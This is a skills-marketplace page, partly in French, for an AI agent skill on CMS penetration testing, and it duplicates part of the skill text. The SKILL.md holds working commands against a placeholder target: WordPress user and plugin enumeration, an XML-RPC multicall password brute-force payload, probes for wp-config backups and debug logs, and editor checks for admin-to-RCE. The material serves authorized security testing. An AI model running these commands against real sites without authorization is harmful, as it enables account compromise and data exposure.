performing-cms-specific-security-testing

Testing WordPress, Drupal, Joomla, and other CMS platforms for known vulnerabilities, plugin/theme exploits, misconfigured permissions, and CMS-specific attack vectors during authorized penetration tests.

Aller à l'installation

Dépôt: xalgord/xalgorix
Dernière activité de la source: 6 juin 2026 à 16:41
Langue détectée de SKILL.md: anglais
Étoiles: 813
Forks: 146

Options d'installation

Le prompt qui vérifie d'abord la source est sélectionné par défaut. Vous pouvez passer à une commande directe ou télécharger une copie locale.

Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.

Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.

npx skills add https://github.com/xalgord/xalgorix --skill performing-cms-specific-security-testing

La commande reste sur une seule ligne. Faites défiler horizontalement pour la vérifier avant de la copier.

Vous préférez une copie locale ? Téléchargez les fichiers actuellement disponibles dans SkillsMP.

Vérifiez les fichiers source

Lisez SKILL.md et les fichiers associés affichés par SkillsMP avant de décider de l'installer.

SKILL.md

Instructions source · Aperçu en lecture seule

Retour à la recherche Retour à l’installation

exploiting-http-request-smuggling

Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.

2026-07-20

exploiting-oauth-misconfiguration

Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations including redirect URI manipulation, token leakage, and authorization code theft during security assessments.

2026-07-20

exploiting-subdomain-takeover-vulnerabilities

Identifying and exploiting dangling DNS records pointing to unclaimed cloud services, enabling subdomain takeover for phishing, cookie stealing, and authentication bypass during authorized penetration tests.

2026-06-19

Tout voir dans ce dépôt

Performing CMS-Specific Security Testing

When to Use

When the target runs WordPress, Drupal, Joomla, Magento, Shopify, or other CMS platforms

During authorized penetration tests where CMS fingerprinting reveals a known platform

When testing plugin/theme ecosystems for known CVEs and zero-days

For assessing CMS admin panel security, default credentials, and misconfigurations

When evaluating multi-site or headless CMS deployments

How to CONFIRM a Hit (avoid false negatives)

Positive signal: a confirmed vulnerable plugin/theme/core version with a working PoC, or a genuinely exposed/abusable endpoint that returns sensitive data or executes — not a bare version banner.

Version fingerprinting is a lead, not a finding. A reported "vulnerable version" must be validated against the actual code path (the fix may be backported, or the vulnerable component disabled).

Do NOT conclude "vulnerable" (or "safe") until you have:

Cross-checked the detected version/plugin against the CVE and reproduced the issue (e.g. wpscan flag confirmed by an actual request that triggers the behavior).
For Drupalgeddon / unauth RCE: confirmed the command output (e.g. id) actually appears in the response, not just a 200.
For XML-RPC: confirmed system.multicall is enabled AND a known-bad credential returns the success struct (isAdmin/blog list), proving the brute-force channel works.
For exposed files (wp-config backups, CHANGELOG.txt, .sql, debug logs): confirmed the response body contains the sensitive content, not a soft-404 returning 200.
For admin→RCE: confirmed you can actually write/execute (theme/plugin editor reachable, upload accepted) rather than assuming from admin access.

Prerequisites

Authorization: Written penetration testing agreement covering CMS testing

WPScan: WordPress vulnerability scanner (gem install wpscan or Docker)

droopescan: Drupal/Joomla/SilverStripe scanner (pip install droopescan)

CMSmap: Multi-CMS scanner (git clone https://github.com/Dionach/CMSmap.git)

Performing CMS-Specific Security Testing

When to Use

When the target runs WordPress, Drupal, Joomla, Magento, Shopify, or other CMS platforms

During authorized penetration tests where CMS fingerprinting reveals a known platform

When testing plugin/theme ecosystems for known CVEs and zero-days

For assessing CMS admin panel security, default credentials, and misconfigurations

When evaluating multi-site or headless CMS deployments

How to CONFIRM a Hit (avoid false negatives)

Version fingerprinting is a lead, not a finding. A reported "vulnerable version" must be validated against the actual code path (the fix may be backported, or the vulnerable component disabled).

Do NOT conclude "vulnerable" (or "safe") until you have:

Cross-checked the detected version/plugin against the CVE and reproduced the issue (e.g. wpscan flag confirmed by an actual request that triggers the behavior).
For Drupalgeddon / unauth RCE: confirmed the command output (e.g. id) actually appears in the response, not just a 200.
For XML-RPC: confirmed system.multicall is enabled AND a known-bad credential returns the success struct (isAdmin/blog list), proving the brute-force channel works.
For exposed files (wp-config backups, CHANGELOG.txt, .sql, debug logs): confirmed the response body contains the sensitive content, not a soft-404 returning 200.
For admin→RCE: confirmed you can actually write/execute (theme/plugin editor reachable, upload accepted) rather than assuming from admin access.

Prerequisites

Authorization: Written penetration testing agreement covering CMS testing

WPScan: WordPress vulnerability scanner (gem install wpscan or Docker)

droopescan: Drupal/Joomla/SilverStripe scanner (pip install droopescan)

CMSmap: Multi-CMS scanner (git clone https://github.com/Dionach/CMSmap.git)

# === WPSCAN FULL AUDIT === # Enumerate everything: users, plugins, themes, timthumbs wpscan --url https://target.example.com \ --enumerate u,ap,at,tt,cb,dbe \ --api-token $WPSCAN_TOKEN \ --random-user-agent \ --force # Aggressive plugin detection (checks all known plugins) wpscan --url https://target.example.com \ --enumerate ap \ --plugins-detection aggressive \ --api-token $WPSCAN_TOKEN # Enumerate users via REST API curl -s https://target.example.com/wp-json/wp/v2/users | jq '.[].slug' # Enumerate users via author archives for i in $(seq 1 20); do user=$(curl -s -o /dev/null -w "%{redirect_url}" \ "https://target.example.com/?author=$i" | grep -oP '/author/\K[^/]+') [ -n "$user" ] && echo "User $i: $user" done # === WORDPRESS-SPECIFIC ATTACK VECTORS === # XML-RPC brute force (bypasses login lockout plugins) curl -s -X POST \ -H "Content-Type: text/xml" \ -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \ "https://target.example.com/xmlrpc.php" # XML-RPC multicall brute force (test many passwords in one request) curl -s -X POST \ -H "Content-Type: text/xml" \ -d '<?xml version="1.0"?> <methodCall> <methodName>system.multicall</methodName> <params><param><value><array><data> <value><struct> <member><name>methodName</name><value>wp.getUsersBlogs</value></member> <member><name>params</name><value><array><data> <value>admin</value><value>password123</value> </data></array></value></member> </struct></value> <value><struct> <member><name>methodName</name><value>wp.getUsersBlogs</value></member> <member><name>params</name><value><array><data> <value>admin</value><value>admin123</value> </data></array></value></member> </struct></value> </data></array></value></param></params> </methodCall>' \ "https://target.example.com/xmlrpc.php" # Check for debug.log exposure curl -s "https://target.example.com/wp-content/debug.log" | head -20 # Check for wp-config backup files for f in wp-config.php.bak wp-config.php.old wp-config.php.save \ wp-config.php~ wp-config.txt .wp-config.php.swp; do echo -n "$f -> " curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/$f" echo done # REST API information disclosure curl -s https://target.example.com/wp-json/wp/v2/pages?per_page=100 | jq '.[].title.rendered' curl -s https://target.example.com/wp-json/wp/v2/posts?status=draft 2>/dev/null | head -c 200 # Check plugin/theme editor (RCE if admin access obtained) curl -s "https://target.example.com/wp-admin/theme-editor.php" -o /dev/null -w "%{http_code}" curl -s "https://target.example.com/wp-admin/plugin-editor.php" -o /dev/null -w "%{http_code}" # Directory listing in uploads curl -s "https://target.example.com/wp-content/uploads/" | grep -i "index of"

Concept	Description
CMS Fingerprinting	Identifying the specific CMS platform, version, and installed components
Plugin/Theme Exploitation	Targeting known CVEs in third-party CMS extensions
XML-RPC Abuse	Using WordPress XML-RPC for brute force and SSRF attacks
Drupalgeddon	Critical RCE vulnerabilities in Drupal core (CVE-2018-7600, CVE-2018-7602)
REST/JSON API Exposure	Information disclosure through unauthenticated CMS API access
Admin-to-RCE	Escalating CMS admin access to server-level code execution
WP-Cron Abuse	Triggering scheduled tasks or using cron for denial of service

Tool	Purpose
WPScan	WordPress vulnerability scanner with plugin/theme/user enumeration
droopescan	Drupal, Joomla, and SilverStripe scanner
JoomScan	OWASP Joomla vulnerability scanner
CMSmap	Multi-CMS vulnerability scanner (WordPress, Drupal, Joomla)
nuclei	Template-based scanner with extensive CMS vulnerability templates
magescan	Magento-specific security scanner
whatweb	CMS and technology fingerprinting

performing-cms-specific-security-testing

Options d'installation

Vérifiez les fichiers source